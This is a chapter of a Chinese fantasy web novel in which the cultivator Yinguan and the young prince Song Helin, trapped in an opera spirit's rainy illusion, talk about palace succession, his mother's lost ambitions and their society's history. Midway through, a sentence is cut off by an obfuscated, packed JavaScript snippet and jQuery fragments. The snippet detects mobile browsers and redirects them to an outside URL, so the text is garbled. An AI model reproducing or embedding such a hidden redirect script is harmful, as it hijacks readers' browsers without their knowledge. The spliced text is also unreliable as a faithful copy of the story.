8. 若舍一滴泪

作品:《如何抱好一条大腿GB

    银官仰躺在杂草堆里恨恨闭了闭眼,试图破罐破摔。


    “让我现在哭我是哭不出来了,要不小殿下我们跟着它一起干耗下去吧。我实在是不想陪它接着往下玩去了。还什么怜悯泪,当初我在青州可没有这么多麻烦事,就只需要把灯傀杀了带徐柯回去就是了。”


    宋鹤林也寻了地方疲惫地躺下,“说起来,仙人姐姐。其实我也有点好奇那折戏,听说如今徐郎也在九疑山,是你口中的徐柯道长?”


    “是,要我说人间真的是什么事情都要抓过来捕风捉影一下。鸣召师伯托我师父算了一卦,算出徐柯师弟与他有一段师徒之缘,于是便让当时在外游历的我顺便把徐柯带回来。”


    “不过,徐柯这小子倒是很争气,不过几个月的时间便已经有了当初鸣召师伯的模样。”


    两人在这处茅草堆里竟然开始你一嘴我一嘴地闲聊起来,看得旁边的戏伶空着急,只将青州“戏台”的雨下得更大,像个小孩子一般向银官和宋鹤林昭示自己的不满。


    “人间的戏折取名真是有意思,南柯雨南柯雨,南柯一梦时落下的雨。说起来,小殿下为何不好好待在盛京?跑来九疑山干什么。”


    “仙人姐姐你才想起来问我呐,我娘说我惹了我那些皇姐皇兄,凭我这个样子怕是要被不久后的夺嫡之争给弄死,于是便让我来九疑山寻求仙人姐姐你的庇护了。我娘说了,她和敏妃娘娘也算有些交情,于是便把我送来了。”


    “看起来是在盛京炸了一圈然后被人丢出来了呢。”银官打趣。


    宋鹤林不好意思地挠了挠头,嘴却还倔着,“哪里是我太闹腾,明明是他们玩不起又输不起。嫡位有什么好争的,当时仙人姐姐你作嫡太女的时候可没像他们这样闹出这么多幺蛾子出来。又是拉帮结派,又是铲除异己的,连我这个混吃混喝的纨绔都要强迫我站个队。”


    银官与宋鹤林,唯一的身份交叉点便是在皇家,也不怪宋鹤林不自觉地聊到了这里了。


    银官低垂着眉眼神色不清,只轻轻笑着说道,“是吗?那还好我麻溜地出来了,要不然我非得被你那些皇姐皇兄给拆成八百个都不够站队的。”


    银官早就把她非皇室血脉的事情告诉了宋鹤林,她为何自愿退出夺嫡之争的原因自然也显而易见——血脉混淆,这是皇家大过天的血脉规矩,也因为皇家既要面子又要里子的缘故,仙人姐姐依旧顶着安阳公主的名头。也许世人大多都对此津津乐道,惊才绝艳安阳嫡公主一朝堪破,成了如今的观音仙人银官。


    “戏台”里不知到底过去了多久,银官手掌上的伤没了感觉,但整个人散发血气却依旧不减,浓重到旁边的宋鹤林都被她身上的血气染了个透。


    仙人姐姐她看起来...似乎血气外溢得有些严重了。


    银官好像也注意到了这一点,朝着宋鹤林伸出了手,一根手指在宋鹤林面前轻轻摇了摇。


    “嘘,血气染上你了就安心待着吧,若是你乱跑血气引来了又一只不知名大妖,你仙人姐姐可保不住你喽。”


    宋鹤林还想说些什么,最终闭上了嘴,从自己衣袍上扯出了一截绸缎。


    “寻常衣物包扎可能对仙人姐姐并不能起到什么作用,但我身上这袍子是从北域雪山进贡来的雪绡,当初进贡的使臣把它吹得天花乱坠,仙人姐姐你要不试试看用它包扎一下?”


    银官哭笑不得,接过了那一截雪绡。“小殿下真是财大气粗,雪绡竟然做成了衣物,哎哟,还求我庇佑?你这财力随便找个修士都能收你作徒弟让你隐姓埋名了。何至于来找我呢。不过,还是多谢小殿下了。”


    “不一样的,找你和其他修士是不一样的,别人可不一定接了钱能护住我,我那些皇兄皇姐都是有幕僚的,幕僚之中依旧有为其办事的厉害修士。”


    银官将雪绡缠在了手上,又重新躺了回去。看起来像是对现在这种境况没有了任何意见,就这样和戏伶干耗着去了。


    宋鹤林在那一刻突然就明白了过来。


    ——或许,对于仙人姐姐来说,流血比流泪简单多了。


    檐断之下青州的雨实在是扰人,混杂着血气的空气像是已经生锈了一般。


    宋鹤林无声上前,将银官随意绑的那一截雪绡拆开重新给她小心翼翼地再次绑好,雪绡本就薄如蝉翼,拂过银官的手时有点痒痒的。银官觉得小殿下给她包扎的时候动作有些过于轻了,都挠得她手心有了轻微的痒意,不自觉蜷缩了下手心。


    “仙人姐姐,我觉得....我们可以最后再尝试一次。戏伶这次说不定真的会放我们出去呢。我们要不最后....再努力一把?”


    银官终于循着声音正对着将视线投向他,静默半晌后突然一笑,“好啊,小殿下想要怎么试?”


    “既然是想要你怜我,我想了半天也没有想出来我有什么地方值得怜惜的,兴许我们可以作个弊?怜惜与我相关的东西?只是要麻烦仙人姐姐你先调动调动情绪。”


    银官没有拒绝,静静地等着宋鹤林的下文。


    “我同你讲讲我母妃吧,和仙人姐姐你的娘亲曾是旧识。我娘经常和我讲她少时的故事,她家中原先是显赫的世家,只不过到我外公外婆这一代就没落了。我娘说,她当时一身抱负,和我外公外婆说只要她考取了功名一定就能恢复往日繁荣,只不过无论我娘如何努力如何拼命,我外公外婆却一直只求一个一步登天,他们不想要家业败落在他们手里,于是便寻出了见效最快的法子。”


    “哪里有什么最快的法子呢,不过是把自己都当作了筹码而已。”银官听完之后沉默片刻,开口道。


    “是,最快的办法就是押宝。押宝当时的嫡位会是哪位皇子皇女。然后,他们有了我,我父亲夺嫡成功了。我母家一跃显赫。”


    银官的嘴角勾起了一抹讽刺的笑容。


    是了,她就知道会是这样——押宝还有子嗣,就是最快的方法。


    中州男女早就平权,起跑线被摆在了同一条线上,如今的皇帝虽是男子,焉知下一任不会是女子呢?银官的嫡太女位置就是一个最好的例子。


    当性别的话语权与权力平等,便会产生如此的社会体系。当她们站得高了,才会发现从前种种不过是牢笼与阻止她们触碰权力的高墙。


    从探出了不安的脑袋到权力的争夺与对垒,再到如今圆桌两旁渐趋平等的权力。如此变迁——不过短短百年。


    期间伴随着许多重要的变迁,譬如朝堂势力,譬如家主轮替,全都各凭本事,不分性别。人们不再被灌输观念,而是全部根据自身体会来感受。


    其实还有比较重要的一点吧——关于子嗣一事,所有的孩子并不需要母亲闯过鬼门关生下来,银官曾经看过古籍,说是生孩子这件事情对那时的女性实在是九死一生。与现在的生育方式截然不同,他们和她们都是被青鸟衔着送过来的孩子,有着母亲和父亲的血脉,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107337|163941||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是经由两者的精血共同孕育出来的。


    从什么时候发生这样的改变的呢?银官没有从古籍中找到答案,只知道这一变动拯救了当时基本无壮丁出生人口渐趋走向颓势的中州。


    宋鹤林朝着银官继续说着,“其实我一直觉得这对我母亲来说有些不公平,明明她也有一番抱负,明明她在初试中的成绩也不错,却只因为一滴精血和我父亲捆绑在一起,让她强行站队我父亲那一脉。”


    “你母亲她,后面还有机会实现自己的抱负吗?”


    “母亲其实也消沉了一段时间,因为外公外婆的固执让当时已经考中谏文使的母亲因为站队而被排挤被迫辞官。但后来遇到了敏妃娘娘她也逐渐振作了起来,重新从文事方向转向了武事方向。也不再被困在父亲这一脉,在武司里领了差事。”


    “虽然我母亲依旧得偿所愿,但我总觉得母亲依旧可惜,明明她不需要经过中间的那些波折,明明可以在她从前喜欢的文墨之间一见真章。那段时间....母亲她像是被抽去了灵魂一样浑浑噩噩。”


    “若是没有你的话...”银官说了一半似乎是恍然觉得这样并不礼貌,过于冒犯小殿下了。她才说出个假设之后就匆匆住了嘴。


    这似乎是银官第一次口无遮拦,往常的她就像是用玉塑起来的宝瓶一样滴水不漏,疏离玉质一般的人儿,却也拒人于千里之外。


    宋鹤林倒没有这么注意,只顺着银官的话接着往下说。


    “若是没有我,母亲兴许真的一切都能如愿。”


    银官没了下一句话,似乎在努力感知着宋鹤林这一句话中的情绪。


    她最终斟酌开口,“但你母亲应该十分喜欢你,她应该也从没后悔过。刚刚....是我失言了,小殿下你可别顺着我的话接着往下说了,再说我都想把我刚刚那句话给吃回去了。无论如何...我......”


    第一次,这是第一次,宋鹤林听到仙人姐姐没有将一句话说完而是在半路卡壳。


    他紧忙开口,“嗨呀,仙人姐姐你不用这般担心了。母亲从未嫌弃过我,我也没有嫌弃过自己。”


    “小殿下通透,是我狭隘了,抱歉。”


    银官这双盛满灰烬的眼睛,其实鹤林很难去通过看这双眼睛来判断仙人姐姐的情绪变化,大多是通过她的眉毛。比如此刻,仙人姐姐的眉毛就好像暴露了她的情绪。


    她微微耷拉着眉,语气中也是歉意。


    “欸,仙人姐姐这事翻篇翻篇,咱们就当你没有说这句话好不好?”宋鹤林开口说道。


    那眉毛又重新扬起,点头,“好。”


    两人都在那一句话之后奇异地安静下来。


    .....


    “怎么样?仙人姐姐,可否挤得出几滴眼泪来?”


    银官努力片刻,答道,“否。”


    银官觉得这戏伶一定是不想让她出去了。眉毛微微折下,向小殿下传达了无可奈何的意思。


    宋鹤林也知仙人姐姐不会这般轻易落泪,转头便去和戏伶对骂。


    无他,帮着仙人姐姐出一口恶气而已。妖物就算贪玩也该有个限度,何至于把受了伤的仙人姐姐困在如此潮湿的地方这么久?!


    “红豆吃多了相思的戏伶,滚出来!识相的,滚出来!”


    他嘹亮的声音震的淅沥的雨都好像在空中暂停了一瞬,银官背靠着杂草堆。在宋鹤林震耳欲聋的声音之后笑得灿然。